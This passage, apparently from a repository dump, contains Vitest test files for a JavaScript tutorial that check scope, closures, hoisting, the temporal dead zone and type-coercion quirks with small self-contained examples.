not reassignment', () => {\n        const user = { name: \"Alice\" }\n        user.name = \"Bob\" // Works!\n        user.age = 25 // Works!\n        \n        expect(user.name).toBe(\"Bob\")\n        expect(user.age).toBe(25)\n        // user = {} would throw TypeError\n      })\n    })\n\n    describe('The Classic for-loop Problem', () => {\n      it('should demonstrate var problem with setTimeout', async () => {\n        const results = []\n        \n        // Using var - only ONE i variable shared\n        for (var i = 0; i < 3; i++) {\n          // Capture current value using IIFE\n          ((j) => {\n            setTimeout(() => {\n              results.push(j)\n            }, 10)\n          })(i)\n        }\n\n        await new Promise(resolve => setTimeout(resolve, 50))\n        expect(results.sort()).toEqual([0, 1, 2])\n      })\n\n      it('should demonstrate let solution with setTimeout', async () => {\n        const results = []\n        \n        // Using let - each iteration gets its OWN i variable\n        for (let i = 0; i < 3; i++) {\n          setTimeout(() => {\n            results.push(i)\n          }, 10)\n        }\n\n        await new Promise(resolve => setTimeout(resolve, 50))\n        expect(results.sort()).toEqual([0, 1, 2])\n      })\n    })\n  })\n\n  describe('Lexical Scope', () => {\n    it('should access variables from outer scopes', () => {\n      const outer = \"I'm outside!\"\n\n      function outerFunction() {\n        const middle = \"I'm in the middle!\"\n\n        function innerFunction() {\n          const inner = \"I'm inside!\"\n          return { inner, middle, outer }\n        }\n\n        return innerFunction()\n      }\n\n      const result = outerFunction()\n      expect(result.inner).toBe(\"I'm inside!\")\n      expect(result.middle).toBe(\"I'm in the middle!\")\n      expect(result.outer).toBe(\"I'm outside!\")\n    })\n\n    describe('Scope Chain', () => {\n      it('should walk up the scope chain to find variables', () => {\n        const x = \"global\"\n\n        function outer() {\n          const x = \"outer\"\n\n          function inner() {\n            // Looks for x in inner scope first (not found)\n            // Then looks in outer scope (found!)\n            return x\n          }\n\n          return inner()\n        }\n\n        expect(outer()).toBe(\"outer\")\n      })\n    })\n\n    describe('Variable Shadowing', () => {\n      it('should shadow outer variables with inner declarations', () => {\n        const name = \"Global\"\n\n        function greet() {\n          const name = \"Function\" // Shadows global 'name'\n\n          function inner() {\n            const name = \"Block\" // Shadows function 'name'\n            return name\n          }\n\n          return { inner: inner(), outer: name }\n        }\n\n        const result = greet()\n        expect(result.inner).toBe(\"Block\")\n        expect(result.outer).toBe(\"Function\")\n        expect(name).toBe(\"Global\")\n      })\n    })\n  })\n\n  describe('Closures', () => {\n    describe('Basic Closure', () => {\n      it('should remember variables from outer scope', () => {\n        function createGreeter(greeting) {\n          return function(name) {\n            return `${greeting}, ${name}!`\n          }\n        }\n\n        const sayHello = createGreeter(\"Hello\")\n        const sayHola = createGreeter(\"Hola\")\n\n        expect(sayHello(\"Alice\")).toBe(\"Hello, Alice!\")\n        expect(sayHola(\"Bob\")).toBe(\"Hola, Bob!\")\n      })\n    })\n\n    describe('Data Privacy & Encapsulation', () => {\n      it('should create truly private variables', () => {\n        function createCounter() {\n          let count = 0 // Private variable!\n\n          return {\n            increment() {\n              count++\n              return count\n            },\n            decrement() {\n              count--\n              return count\n            },\n            getCount() {\n              return count\n            }\n          }\n        }\n\n        const counter = createCounter()\n\n        expect(counter.getCount()).toBe(0)\n        expect(counter.increment()).toBe(1)\n        expect(counter.increment()).toBe(2)\n        expect(counter.decrement()).toBe(1)\n        expect(counter.count).toBe(undefined) // Cannot access directly!\n      })\n    })\n\n    describe('Function Factories', () => {\n      it('should create specialized functions', () => {\n        function createMultiplier(multiplier) {\n          return function(number) {\n            return number * multiplier\n          }\n        }\n\n        const double = createMultiplier(2)\n        const triple = createMultiplier(3)\n        const tenX = createMultiplier(10)\n\n        expect(double(5)).toBe(10)\n        expect(triple(5)).toBe(15)\n        expect(tenX(5)).toBe(50)\n      })\n\n      it('should create API clients with base URL', () => {\n        function createApiClient(baseUrl) {\n          return {\n            getUrl(endpoint) {\n              return `${baseUrl}${endpoint}`\n            }\n          }\n        }\n\n        const githubApi = createApiClient('https://api.github.com')\n        const myApi = createApiClient('https://myapp.com/api')\n\n        expect(githubApi.getUrl('/users')).toBe('https://api.github.com/users')\n        expect(myApi.getUrl('/users')).toBe('https://myapp.com/api/users')\n      })\n    })\n\n    describe('Preserving State in Callbacks', () => {\n      it('should maintain state across multiple calls', () => {\n        function setupClickCounter() {\n          let clicks = 0\n\n          return function handleClick() {\n            clicks++\n            return clicks\n          }\n        }\n\n        const handleClick = setupClickCounter()\n\n        expect(handleClick()).toBe(1)\n        expect(handleClick()).toBe(2)\n        expect(handleClick()).toBe(3)\n      })\n    })\n\n    describe('Memoization', () => {\n      it('should cache expensive computation results', () => {\n        function createMemoizedFunction(fn) {\n          const cache = {}\n\n          return function(arg) {\n            if (arg in cache) {\n              return { value: cache[arg], cached: true }\n            }\n\n            const result = fn(arg)\n            cache[arg] = result\n            return { value: result, cached: false }\n          }\n        }\n\n        function factorial(n) {\n          if (n <= 1) return 1\n          return n * factorial(n - 1)\n        }\n\n        const memoizedFactorial = createMemoizedFunction(factorial)\n\n        const first = memoizedFactorial(5)\n        expect(first.value).toBe(120)\n        expect(first.cached).toBe(false)\n\n        const second = memoizedFactorial(5)\n        expect(second.value).toBe(120)\n        expect(second.cached).toBe(true)\n      })\n    })\n  })\n\n  describe('The Classic Closure Trap', () => {\n    describe('The Problem with var in Loops', () => {\n      it('should demonstrate the problem', () => {\n        const funcs = []\n        \n        for (var i = 0; i < 3; i++) {\n          funcs.push(function() {\n            return i\n          })\n        }\n\n        // All functions return 3 because they share the same 'i'\n        expect(funcs[0]()).toBe(3)\n        expect(funcs[1]()).toBe(3)\n        expect(funcs[2]()).toBe(3)\n      })\n    })\n\n    describe('Solution 1: Use let', () => {\n      it('should create new binding per iteration', () => {\n        const funcs = []\n        \n        for (let i = 0; i < 3; i++) {\n          funcs.push(function() {\n            return i\n          })\n        }\n\n        expect(funcs[0]()).toBe(0)\n        expect(funcs[1]()).toBe(1)\n        expect(funcs[2]()).toBe(2)\n      })\n    })\n\n    describe('Solution 2: IIFE', () => {\n      it('should capture value in IIFE scope', () => {\n        const funcs = []\n        \n        for (var i = 0; i < 3; i++) {\n          (function(j) {\n            funcs.push(function() {\n              return j\n            })\n          })(i)\n        }\n\n        expect(funcs[0]()).toBe(0)\n        expect(funcs[1]()).toBe(1)\n        expect(funcs[2]()).toBe(2)\n      })\n    })\n\n    describe('Solution 3: forEach', () => {\n      it('should create new scope per iteration', () => {\n        const funcs = []\n        \n        ;[0, 1, 2].forEach(function(i) {\n          funcs.push(function() {\n            return i\n          })\n        })\n\n        expect(funcs[0]()).toBe(0)\n        expect(funcs[1]()).toBe(1)\n        expect(funcs[2]()).toBe(2)\n      })\n    })\n  })\n\n  describe('Closure Memory Considerations', () => {\n    it('should demonstrate closure keeping references alive', () => {\n      function createClosure() {\n        const data = { value: 42 }\n\n        return function() {\n          return data.value\n        }\n      }\n\n      const getClosure = createClosure()\n      // data is kept alive because getClosure references it\n      expect(getClosure()).toBe(42)\n    })\n\n    it('should demonstrate cleanup with null assignment', () => {\n      function createHandler() {\n        let largeData = new Array(100).fill('data')\n\n        const handler = function() {\n          return largeData.length\n        }\n\n        return {\n          handler,\n          cleanup() {\n            largeData = null // Allow garbage collection\n          }\n        }\n      }\n\n      const { handler, cleanup } = createHandler()\n      expect(handler()).toBe(100)\n      \n      cleanup()\n      // Now largeData can be garbage collected\n    })\n  })\n\n  describe('Practical Closure Patterns', () => {\n    describe('Private State Pattern', () => {\n      it('should create objects with private state', () => {\n        function createWallet(initial) {\n          let balance = initial\n\n          return {\n            spend(amount) {\n              if (amount <= balance) {\n                balance -= amount\n                return true\n              }\n              return false\n            },\n            getBalance() {\n              return balance\n            }\n          }\n        }\n\n        const wallet = createWallet(100)\n        expect(wallet.getBalance()).toBe(100)\n        expect(wallet.spend(30)).toBe(true)\n        expect(wallet.getBalance()).toBe(70)\n        expect(wallet.spend(100)).toBe(false)\n        expect(wallet.getBalance()).toBe(70)\n      })\n    })\n\n    describe('Tax Calculator Factory', () => {\n      it('should create specialized tax calculators', () => {\n        function createTaxCalculator(rate) {\n          return (amount) => amount * rate\n        }\n\n        const calculateVAT = createTaxCalculator(0.20)\n        const calculateGST = createTaxCalculator(0.10)\n\n        expect(calculateVAT(100)).toBe(20)\n        expect(calculateGST(100)).toBe(10)\n      })\n    })\n\n    describe('Logger Factory', () => {\n      it('should create prefixed loggers', () => {\n        function setupLogger(prefix) {\n          return (message) => `[${prefix}] ${message}`\n        }\n\n        const errorLogger = setupLogger('ERROR')\n        const infoLogger = setupLogger('INFO')\n\n        expect(errorLogger('Something went wrong')).toBe('[ERROR] Something went wrong')\n        expect(infoLogger('All good')).toBe('[INFO] All good')\n      })\n    })\n\n    describe('Memoize Pattern', () => {\n      it('should cache results with closures', () => {\n        function memoize(fn) {\n          const cache = {}\n          return (arg) => cache[arg] ?? (cache[arg] = fn(arg))\n        }\n\n        let callCount = 0\n        const expensive = (n) => {\n          callCount++\n          return n * n\n        }\n\n        const memoizedExpensive = memoize(expensive)\n\n        expect(memoizedExpensive(5)).toBe(25)\n        expect(callCount).toBe(1)\n\n        expect(memoizedExpensive(5)).toBe(25)\n        expect(callCount).toBe(1) // Still 1, used cache\n\n        expect(memoizedExpensive(6)).toBe(36)\n        expect(callCount).toBe(2)\n      })\n    })\n  })\n\n  describe('Test Your Knowledge Examples', () => {\n    it('should identify all three scope types', () => {\n      const globalVar = \"everywhere\" // Global scope\n\n      function example() {\n        var functionScoped = \"function\" // Function scope\n\n        if (true) {\n          let blockScoped = \"block\" // Block scope\n          expect(blockScoped).toBe(\"block\")\n        }\n\n        expect(functionScoped).toBe(\"function\")\n      }\n\n      example()\n      expect(globalVar).toBe(\"everywhere\")\n    })\n\n    it('should demonstrate closure definition', () => {\n      function createCounter() {\n        let count = 0\n\n        return function() {\n          count++\n          return count\n        }\n      }\n\n      const counter = createCounter()\n      expect(counter()).toBe(1)\n      expect(counter()).toBe(2)\n    })\n\n    it('should show var loop outputs 3,3,3 pattern', () => {\n      const results = []\n      \n      for (var i = 0; i < 3; i++) {\n        results.push(() => i)\n      }\n\n      expect(results[0]()).toBe(3)\n      expect(results[1]()).toBe(3)\n      expect(results[2]()).toBe(3)\n    })\n\n    it('should show let loop outputs 0,1,2 pattern', () => {\n      const results = []\n      \n      for (let i = 0; i < 3; i++) {\n        results.push(() => i)\n      }\n\n      expect(results[0]()).toBe(0)\n      expect(results[1]()).toBe(1)\n      expect(results[2]()).toBe(2)\n    })\n  })\n\n  describe('Temporal Dead Zone (TDZ)', () => {\n    it('should throw ReferenceError when accessing let before declaration', () => {\n      expect(() => {\n        // Using eval to avoid syntax errors at parse time\n        eval(`\n          const before = x\n          let x = 10\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should throw ReferenceError when accessing const before declaration', () => {\n      expect(() => {\n        eval(`\n          const before = y\n          const y = 10\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should demonstrate TDZ exists from block start to declaration', () => {\n      let outsideValue = \"outside\"\n      \n      expect(() => {\n        eval(`\n          {\n            // TDZ starts here for 'name'\n            const beforeDeclaration = name  // ReferenceError\n            let name = \"Alice\"\n          }\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should not throw for var due to hoisting', () => {\n      // var is hoisted with undefined value, so no TDZ\n      function example() {\n        const before = message // undefined, not an error\n        var message = \"Hello\"\n        const after = message  // \"Hello\"\n        return { before, after }\n      }\n\n      const result = example()\n      expect(result.before).toBe(undefined)\n      expect(result.after).toBe(\"Hello\")\n    })\n\n    it('should have TDZ in function parameters', () => {\n      // Default parameters can reference earlier parameters but not later ones\n      expect(() => {\n        eval(`\n          function test(a = b, b = 2) {\n            return a + b\n          }\n          test()\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should allow later parameters to reference earlier ones', () => {\n      function test(a = 1, b = a + 1) {\n        return a + b\n      }\n\n      expect(test()).toBe(3)     // a=1, b=2\n      expect(test(5)).toBe(11)   // a=5, b=6\n      expect(test(5, 10)).toBe(15) // a=5, b=10\n    })\n  })\n\n  describe('Hoisting Comparison: var vs let/const', () => {\n    it('should demonstrate var hoisting without TDZ', () => {\n      function example() {\n        // var is hoisted and initialized to undefined\n        expect(a).toBe(undefined)\n        var a = 1\n        expect(a).toBe(1)\n      }\n      \n      example()\n    })\n\n    it('should demonstrate function declarations are fully hoisted', () => {\n      // Function can be called before its declaration\n      expect(hoistedFn()).toBe(\"I was hoisted!\")\n      \n      function hoistedFn() {\n        return \"I was hoisted!\"\n      }\n    })\n\n    it('should demonstrate function expressions are not hoisted', () => {\n      expect(() => {\n        eval(`\n          notHoisted()\n          var notHoisted = function() { return \"Not hoisted\" }\n        `)\n      }).toThrow(TypeError)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/fundamentals/type-coercion/type-coercion.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Type Coercion', () => {\n  describe('Explicit vs Implicit Coercion', () => {\n    describe('Explicit Coercion', () => {\n      it('should convert to number explicitly', () => {\n        expect(Number(\"42\")).toBe(42)\n        expect(parseInt(\"42px\")).toBe(42)\n        expect(parseFloat(\"3.14\")).toBe(3.14)\n      })\n\n      it('should convert to string explicitly', () => {\n        expect(String(42)).toBe(\"42\")\n        expect((123).toString()).toBe(\"123\")\n      })\n\n      it('should convert to boolean explicitly', () => {\n        expect(Boolean(1)).toBe(true)\n        expect(Boolean(0)).toBe(false)\n      })\n    })\n\n    describe('Implicit Coercion', () => {\n      it('should demonstrate implicit string coercion with +', () => {\n        expect(\"5\" + 3).toBe(\"53\")\n        expect(\"5\" - 3).toBe(2)\n      })\n\n      it('should demonstrate implicit boolean coercion in conditions', () => {\n        let result = null\n        if (\"hello\") {\n          result = \"truthy\"\n        }\n        expect(result).toBe(\"truthy\")\n      })\n\n      it('should demonstrate loose equality coercion', () => {\n        expect(5 == \"5\").toBe(true)\n      })\n    })\n  })\n\n  describe('String Conversion', () => {\n    it('should convert various types to string explicitly', () => {\n      expect(String(123)).toBe(\"123\")\n      expect(String(true)).toBe(\"true\")\n      expect(String(false)).toBe(\"false\")\n      expect(String(null)).toBe(\"null\")\n      expect(String(undefined)).toBe(\"undefined\")\n    })\n\n    it('should convert to string implicitly with + and empty string', () => {\n      expect(123 + \"\").toBe(\"123\")\n      expect(`Value: ${123}`).toBe(\"Value: 123\")\n      expect(\"Hello \" + 123).toBe(\"Hello 123\")\n    })\n\n    it('should convert arrays to comma-separated strings', () => {\n      expect([1, 2, 3].toString()).toBe(\"1,2,3\")\n      expect([1, 2, 3] + \"\").toBe(\"1,2,3\")\n      expect([].toString()).toBe(\"\")\n    })\n\n    it('should convert objects to [object Object]', () => {\n      expect({}.toString()).toBe(\"[object Object]\")\n      expect({} + \"\").toBe(\"[object Object]\")\n    })\n\n    describe('The + Operator Split Personality', () => {\n      it('should add two numbers', () => {\n        expect(5 + 3).toBe(8)\n      })\n\n      it('should concatenate with any string involved', () => {\n        expect(\"5\" + 3).toBe(\"53\")\n        expect(5 + \"3\").toBe(\"53\")\n        expect(\"Hello\" + \" World\").toBe(\"Hello World\")\n      })\n\n      it('should evaluate left to right with multiple operands', () => {\n        expect(1 + 2 + \"3\").toBe(\"33\") // (1+2)=3, then 3+\"3\"=\"33\"\n        expect(\"1\" + 2 + 3).toBe(\"123\") // all become strings left-to-right\n      })\n    })\n\n    describe('User Input Gotcha', () => {\n      it('should demonstrate string concatenation instead of addition', () => {\n        const userInput = \"5\"\n        const wrongResult = userInput + 10\n        expect(wrongResult).toBe(\"510\")\n\n        const correctResult = Number(userInput) + 10\n        expect(correctResult).toBe(15)\n      })\n    })\n  })\n\n  describe('Number Conversion', () => {\n    it('should convert strings to numbers', () => {\n      expect(Number(\"42\")).toBe(42)\n      expect(Number(\"  123  \")).toBe(123) // Whitespace trimmed\n      expect(Number.isNaN(Number(\"123abc\"))).toBe(true) // NaN\n      expect(Number(\"\")).toBe(0) // Empty string → 0\n      expect(Number(\"  \")).toBe(0) // Whitespace-only → 0\n    })\n\n    it('should convert booleans to numbers', () => {\n      expect(Number(true)).toBe(1)\n      expect(Number(false)).toBe(0)\n    })\n\n    it('should demonstrate null vs undefined conversion difference', () => {\n      expect(Number(null)).toBe(0)\n      expect(Number.isNaN(Number(undefined))).toBe(true)\n      expect(null + 5).toBe(5)\n      expect(Number.isNaN(undefined + 5)).toBe(true)\n    })\n\n    it('should convert arrays to numbers', () => {\n      expect(Number([])).toBe(0) // [] → \"\" → 0\n      expect(Number([1])).toBe(1) // [1] → \"1\" → 1\n      expect(Number.isNaN(Number([1, 2]))).toBe(true) // [1,2] → \"1,2\" → NaN\n    })\n\n    it('should return NaN for objects', () => {\n      expect(Number.isNaN(Number({}))).toBe(true)\n    })\n\n    describe('Math Operators Always Convert to Numbers', () => {\n      it('should convert operands to numbers for -, *, /, %', () => {\n        expect(\"6\" - \"2\").toBe(4)\n        expect(\"6\" * \"2\").toBe(12)\n        expect(\"6\" / \"2\").toBe(3)\n        expect(\"10\" % \"3\").toBe(1)\n      })\n\n      it('should show why - and + behave differently', () => {\n        expect(\"5\" + 3).toBe(\"53\") // concatenation\n        expect(\"5\" - 3).toBe(2) // math\n      })\n    })\n\n    describe('Unary + Trick', () => {\n      it('should convert to number with unary +', () => {\n        expect(+\"42\").toBe(42)\n        expect(+true).toBe(1)\n        expect(+false).toBe(0)\n        expect(+null).toBe(0)\n        expect(Number.isNaN(+undefined)).toBe(true)\n        expect(Number.isNaN(+\"hello\")).toBe(true)\n        expect(+\"\").toBe(0)\n      })\n    })\n  })\n\n  describe('Boolean Conversion', () => {\n    describe('The 8 Falsy Values', () => {\n      it('should identify all 8 falsy values', () => {\n        expect(Boolean(false)).toBe(false)\n        expect(Boolean(0)).toBe(false)\n        expect(Boolean(-0)).toBe(false)\n        expect(Boolean(0n)).toBe(false)\n        expect(Boolean(\"\")).toBe(false)\n        expect(Boolean(null)).toBe(false)\n        expect(Boolean(undefined)).toBe(false)\n        expect(Boolean(NaN)).toBe(false)\n      })\n    })\n\n    describe('Truthy Values', () => {\n      it('should identify truthy values including surprises', () => {\n        expect(Boolean(true)).toBe(true)\n        expect(Boolean(1)).toBe(true)\n        expect(Boolean(-1)).toBe(true)\n        expect(Boolean(\"hello\")).toBe(true)\n        expect(Boolean(\"0\")).toBe(true) // Non-empty string!\n        expect(Boolean(\"false\")).toBe(true) // Non-empty string!\n        expect(Boolean([])).toBe(true) // Empty array!\n        expect(Boolean({})).toBe(true) // Empty object!\n        expect(Boolean(function(){})).toBe(true)\n        expect(Boolean(new Date())).toBe(true)\n        expect(Boolean(Infinity)).toBe(true)\n        expect(Boolean(-Infinity)).toBe(true)\n      })\n    })\n\n    describe('Common Gotchas', () => {\n      it('should demonstrate empty array checking', () => {\n        const arr = []\n        expect(Boolean(arr)).toBe(true) // Array itself is truthy\n        expect(arr.length > 0).toBe(false) // Check length instead\n      })\n    })\n\n    describe('Logical Operators Return Original Values', () => {\n      it('should return first truthy value with ||', () => {\n        expect(\"hello\" || \"world\").toBe(\"hello\")\n        expect(\"\" || \"world\").toBe(\"world\")\n        expect(\"\" || 0 || null || \"yes\").toBe(\"yes\")\n      })\n\n      it('should return first falsy value with &&', () => {\n        expect(\"hello\" && \"world\").toBe(\"world\")\n        expect(\"\" && \"world\").toBe(\"\")\n        expect(1 && 2 && 3).toBe(3)\n      })\n\n      it('should use || for defaults', () => {\n        const userInput = \"\"\n        const name = userInput || \"Anonymous\"\n        expect(name).toBe(\"Anonymous\")\n      })\n    })\n  })\n\n  describe('Object to Primitive Conversion', () => {\n    describe('Built-in Object Conversion', () => {\n      it('should convert arrays via toString', () => {\n        expect([1, 2, 3].toString()).toBe(\"1,2,3\")\n        expect([1, 2, 3] + \"\").toBe(\"1,2,3\")\n        expect(Number.isNaN([1, 2, 3] - 0)).toBe(true) // \"1,2,3\" → NaN\n\n        expect([].toString()).toBe(\"\")\n        expect([] + \"\").toBe(\"\")\n        expect([] - 0).toBe(0) // \"\" → 0\n\n        expect([1].toString()).toBe(\"1\")\n        expect([1] - 0).toBe(1)\n      })\n\n      it('should convert plain objects to [object Object]', () => {\n        expect({}.toString()).toBe(\"[object Object]\")\n        expect({} + \"\").toBe(\"[object Object]\")\n      })\n    })\n\n    describe('Custom valueOf and toString', () => {\n      it('should use valueOf for number conversion', () => {\n        const price = {\n          amount: 99.99,\n          currency: \"USD\",\n          valueOf() {\n            return this.amount\n          },\n          toString() {\n            return `${this.currency} ${this.amount}`\n          }\n        }\n\n        expect(price - 0).toBe(99.99)\n        expect(price * 2).toBe(199.98)\n        expect(+price).toBe(99.99)\n      })\n\n      it('should use toString for string conversion', () => {\n        const price = {\n          amount: 99.99,\n          currency: \"USD\",\n          valueOf() {\n            return this.amount\n          },\n          toString() {\n            return `${this.currency} ${this.amount}`\n          }\n        }\n\n        expect(String(price)).toBe(\"USD 99.99\")\n        expect(`Price: ${price}`).toBe(\"Price: USD 99.99\")\n      })\n    })\n\n    describe('Symbol.toPrimitive', () => {\n      it('should use Symbol.toPrimitive for conversion hints', () => {\n        const obj = {\n          [Symbol.toPrimitive](hint) {\n            if (hint === \"number\") {\n              return 42\n            }\n            if (hint === \"string\") {\n              return \"forty-two\"\n            }\n            return \"default value\"\n          }\n        }\n\n        expect(+obj).toBe(42) // hint: \"number\"\n        expect(`${obj}`).toBe(\"forty-two\") // hint: \"string\"\n        expect(obj + \"\").toBe(\"default value\") // hint: \"default\"\n      })\n    })\n  })\n\n  describe('The == Algorithm', () => {\n    describe('Same Type Comparison', () => {\n      it('should compare directly when same type', () => {\n        expect(5 == 5).toBe(true)\n        expect(\"hello\" == \"hello\").toBe(true)\n      })\n    })\n\n    describe('null and undefined', () => {\n      it('should return true for null == undefined', () => {\n        expect(null == undefined).toBe(true)\n        expect(undefined == null).toBe(true)\n      })\n\n      it('should return false for null/undefined vs other values', () => {\n        expect(null == 0).toBe(false)\n        expect(null == \"\").toBe(false)\n        expect(undefined == 0).toBe(false)\n        expect(undefined == \"\").toBe(false)\n      })\n    })\n\n    describe('Number and String', () => {\n      it('should convert string to number', () => {\n        expect(5 == \"5\").toBe(true)\n        expect(0 == \"\").toBe(true)\n        expect(42 == \"42\").toBe(true)\n      })\n    })\n\n    describe('Boolean Conversion', () => {\n      it('should convert boolean to number first', () => {\n        expect(true == 1).toBe(true)\n        expect(false == 0).toBe(true)\n        expect(true == \"1\").toBe(true)\n      })\n\n      it('should demonstrate confusing boolean comparisons', () => {\n        expect(true == \"true\").toBe(false) // true → 1, \"true\" → NaN\n        expect(false == \"false\").toBe(false) // false → 0, \"false\" → NaN\n        expect(true == 2).toBe(false) // true → 1, 1 ≠ 2\n      })\n    })\n\n    describe('Object to Primitive', () => {\n      it('should convert object to primitive', () => {\n        expect([1] == 1).toBe(true) // [1] → \"1\" → 1\n        expect([\"\"] == 0).toBe(true) // [\"\"] → \"\" → 0\n      })\n    })\n\n    describe('Step-by-Step Examples', () => {\n      it('should trace \"5\" == 5', () => {\n        // String vs Number → convert string to number\n        // 5 == 5 → true\n        expect(\"5\" == 5).toBe(true)\n      })\n\n      it('should trace true == \"1\"', () => {\n        // Boolean → number: 1 == \"1\"\n        // Number vs String → 1 == 1\n        // true\n        expect(true == \"1\").toBe(true)\n      })\n\n      it('should trace [] == false', () => {\n        // Boolean → number: [] == 0\n        // Object → primitive: \"\" == 0\n        // String → number: 0 == 0\n        // true\n        expect([] == false).toBe(true)\n      })\n\n      it('should trace [] == ![]', () => {\n        // First, evaluate ![] → false (arrays are truthy)\n        // [] == false\n        // Boolean → number: [] == 0\n        // Object → primitive: \"\" == 0\n        // String → number: 0 == 0\n        // true!\n        expect([] == ![]).toBe(true)\n      })\n    })\n  })\n\n  describe('JavaScript WAT Moments', () => {\n    describe('+ Operator Split Personality', () => {\n      it('should show string vs number behavior', () => {\n        expect(\"5\" + 3).toBe(\"53\")\n        expect(\"5\" - 3).toBe(2)\n      })\n    })\n\n    describe('Empty Array Weirdness', () => {\n      it('should demonstrate [] + [] behavior', () => {\n        expect([] + []).toBe(\"\") // Both → \"\", then \"\" + \"\" = \"\"\n      })\n\n      it('should demonstrate [] + {} behavior', () => {\n        expect([] + {}).toBe(\"[object Object]\")\n      })\n    })\n\n    describe('Boolean Math', () => {\n      it('should add booleans as numbers', () => {\n        expect(true + true).toBe(2)\n        expect(true + false).toBe(1)\n        expect(true - true).toBe(0)\n      })\n    })\n\n    describe('The Infamous [] == ![]', () => {\n      it('should return true for [] == ![]', () => {\n        const emptyArr = []\n        const negatedArr = ![]\n        expect(emptyArr == negatedArr).toBe(true)\n        expect(emptyArr === negatedArr).toBe(false)\n      })\n    })\n\n    describe('\"foo\" + + \"bar\"', () => {\n      it('should return \"fooNaN\"', () => {\n        // +\"bar\" is evaluated first → NaN\n        // \"foo\" + NaN → \"fooNaN\"\n        expect(\"foo\" + + \"bar\").toBe(\"fooNaN\")\n      })\n    })\n\n    describe('NaN Equality', () => {\n      it('should never equal itself', () => {\n        expect(NaN === NaN).toBe(false)\n        expect(NaN == NaN).toBe(false)\n      })\n\n      it('should use Number.isNaN to check', () => {\n        expect(Number.isNaN(NaN)).toBe(true)\n        expect(isNaN(NaN)).toBe(true)\n        expect(isNaN(\"hello\")).toBe(true) // Quirk: converts first\n        expect(Number.isNaN(\"hello\")).toBe(false) // Correct\n      })\n    })\n\n    describe('typeof Quirks', () => {\n      it('should demonstrate typeof oddities', () => {\n        expect(typeof NaN).toBe(\"number\") // \"Not a Number\" is a number\n        expect(typeof null).toBe(\"object\") // Historical bug\n        expect(typeof []).toBe(\"object\") // Arrays are objects\n        expect(typeof function(){}).toBe(\"function\") // Special case\n      })\n    })\n\n    describe('Adding Arrays', () => {\n      it('should concatenate arrays as strings', () => {\n        expect([1, 2] + [3, 4]).toBe(\"1,23,4\")\n        // [1, 2] → \"1,2\"\n        // [3, 4] → \"3,4\"\n        // \"1,2\" + \"3,4\" → \"1,23,4\"\n      })\n\n      it('should use spread or concat to combine arrays', () => {\n        expect([...[1, 2], ...[3, 4]]).toEqual([1, 2, 3, 4])\n        expect([1, 2].concat([3, 4])).toEqual([1, 2, 3, 4])\n      })\n    })\n  })\n\n  describe('Best Practices', () => {\n    describe('Use === instead of ==', () => {\n      it('should show predictable strict equality', () => {\n        expect(5 === \"5\").toBe(false) // No coercion\n        expect(5 == \"5\").toBe(true) // Coerced\n      })\n    })\n\n    describe('When == IS Useful', () => {\n      it('should check for null or undefined in one shot', () => {\n        function checkNullish(value) {\n          return value == null\n        }\n\n        expect(checkNullish(null)).toBe(true)\n        expect(checkNullish(undefined)).toBe(true)\n        expect(checkNullish(0)).toBe(false)\n        expect(checkNullish(\"\")).toBe(false)\n      })\n    })\n\n    describe('Be Explicit with Conversions', () => {\n      it('should convert explicitly for clarity', () => {\n        const str = \"42\"\n        \n        // Quick string conversion\n        expect(str + \"\").toBe(\"42\")\n        expect(String(42)).toBe(\"42\")\n        \n        // Quick number conversion\n        expect(+str).toBe(42)\n        expect(Number(str)).toBe(42)\n      })\n    })\n  })\n\n  describe('Test Your Knowledge Examples', () => {\n    it('should return \"53\" for \"5\" + 3', () => {\n      expect(\"5\" + 3).toBe(\"53\")\n    })\n\n    it('should return \"1hello\" for true + false + \"hello\"', () => {\n      // true + false = 1 + 0 = 1\n      // 1 + \"hello\" = \"1hello\"\n      expect(true + false + \"hello\").toBe(\"1hello\")\n    })\n  })\n\n  describe('Modulo Operator with Strings', () => {\n    it('should coerce strings to numbers for modulo', () => {\n      expect(\"6\" % 4).toBe(2)\n      expect(\"10\" % \"3\").toBe(1)\n      expect(17 % \"5\").toBe(2)\n    })\n\n    it('should return NaN for non-numeric strings', () => {\n      expect(Number.isNaN(\"hello\" % 2)).toBe(true)\n      expect(Number.isNaN(10 % \"abc\")).toBe(true)\n    })\n  })\n\n  describe('Comparison Operators with Coercion', () => {\n    it('should coerce strings to numbers in comparisons', () => {\n      expect(\"10\" > 5).toBe(true)\n      expect(\"10\" < 5).toBe(false)\n      expect(\"10\" >= 10).toBe(true)\n      expect(\"10\" <= 10).toBe(true)\n    })\n\n    it('should compare strings lexicographically when both are strings', () => {\n      // String comparison (lexicographic, not numeric)\n      expect(\"10\" > \"9\").toBe(false) // \"1\" < \"9\" in char codes\n      expect(\"2\" > \"10\").toBe(true)  // \"2\" > \"1\" in char codes\n    })\n\n    it('should coerce null and undefined in comparisons', () => {\n      expect(null >= 0).toBe(true)  // null coerces to 0\n      expect(null > 0).toBe(false)\n      expect(null == 0).toBe(false) // Special case!\n      \n      // undefined always returns false in comparisons\n      expect(undefined > 0).toBe(false)\n      expect(undefined < 0).toBe(false)\n      expect(undefined >= 0).toBe(false)\n    })\n  })\n\n  describe('Double Negation (!!)', () => {\n    it('should convert values to boolean with !!', () => {\n      // Truthy values\n      expect(!!\"hello\").toBe(true)\n      expect(!!1).toBe(true)\n      expect(!!{}).toBe(true)\n      expect(!![]).toBe(true)\n      expect(!!-1).toBe(true)\n\n      // Falsy values\n      expect(!!\"\").toBe(false)\n      expect(!!0).toBe(false)\n      expect(!!null).toBe(false)\n      expect(!!undefined).toBe(false)\n      expect(!!NaN).toBe(false)\n    })\n\n    it('should be equivalent to Boolean()', () => {\n      const values = [\"hello\", \"\", 0, 1, null, undefined, {}, []]\n      \n      values.forEach(value => {\n        expect(!!value).toBe(Boolean(value))\n      })\n    })\n  })\n\n  describe('Date Coercion', () => {\n    it('should coerce Date to number (timestamp) with + operator', () => {\n      const date = new Date(\"2025-01-01T00:00:00.000Z\")\n      const timestamp = +date\n\n      expect(typeof timestamp).toBe(\"number\")\n      expect(timestamp).toBe(date.getTime())\n    })\n\n    it('should coerce Date to string with String()', () => {\n      const date = new Date(\"2025-06-15T12:00:00.000Z\")\n      const str = String(date)\n\n      expect(typeof 